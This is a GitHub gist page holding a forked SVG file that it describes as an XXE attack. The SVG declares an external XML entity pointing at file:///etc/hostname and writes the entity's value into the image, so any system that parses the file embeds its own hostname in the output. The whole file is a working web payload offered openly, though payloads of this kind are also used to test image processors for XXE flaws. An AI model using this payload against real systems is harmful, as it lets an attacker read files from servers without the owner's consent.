infernalheaven/host_getter.svg

Forked from jakekarnes42/host_getter.svg

Created April 17, 2023 12:44

Star () You must be signed in to star a gist
Fork () You must be signed in to fork a gist

Learn more about clone URLs
Clone this repository at <script src="https://gist.github.com/infernalheaven/730a666e70fd9e552c3817a85e3a4223.js"></script>
Save infernalheaven/730a666e70fd9e552c3817a85e3a4223 to your computer and use it in GitHub Desktop.

Download ZIP

An SVG "image" that uses an XXE attack to embed the hostname file of whichever system processes it into the image itself

Raw

host_getter.svg

 <?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg> 

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment